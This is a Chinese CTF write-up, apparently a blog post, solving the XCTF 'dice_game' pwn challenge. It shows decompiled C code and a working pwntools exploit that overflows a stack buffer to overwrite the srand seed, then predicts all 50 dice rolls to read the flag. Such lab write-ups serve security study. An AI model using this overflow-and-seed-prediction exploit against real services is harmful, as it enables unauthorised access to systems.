攻防世界pwn——dice_game

题目链接:攻防世界 (xctf.org.cn)

文件分析

checksec检查看到没有开启canary保护

 然后放到IDA里去看

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h] BYREF
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ");
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v5 )
    {
      if ( v8 == 50 )
      {
        sub_B28(buf);
        break;
      }
      ++v8;
    }
  }
  puts("Bye bye!");
  return 0LL;
}

if(v8==50)会执行sub_B28(buf),这个函数里看到了flag文件,最终目标是它

int __fastcall sub_B28(const char *a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  FILE *stream; // [rsp+78h] [rbp-8h]

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(s, 100, stream);
  puts(s);
  return fflush(stdout);
}

执行该函数需要v5为真50次

__int64 sub_A20()
{
  __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h] BYREF
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
    if ( v1 == v2 )
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}

查看v5的值来源,给v5赋值的函数是一个猜数过程,猜对即可。也就是说需要连续猜对50次才行,所以需要利用栈内的偏移将随机数覆盖掉,这样的随机数就是“已知”的了

观察存放伪随机数的seed与buf之间偏移为0x40,而buf是可以在输入name的时候控制内容,而输入限制了0x50个,可以利用buf溢出来偏移到seed上,覆盖掉seed后就可以自己生成一样的伪随机数了

exp

from pwn import *
from ctypes import *

p=remote('61.147.171.105' ,61562)
libc=cdll.LoadLibrary("libc.so.6")

payload = 'a'*0x40+p64(1)
p.sendlineafter("name: ", payload)

res=[]
for i in range(50):
    res.append(libc.rand()%6+1)
print res
for a in res:
    p.sendlineafter("point(1~6): ", str(a))
p.interactive()

留个点,随机数的生成这里没搞太懂

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值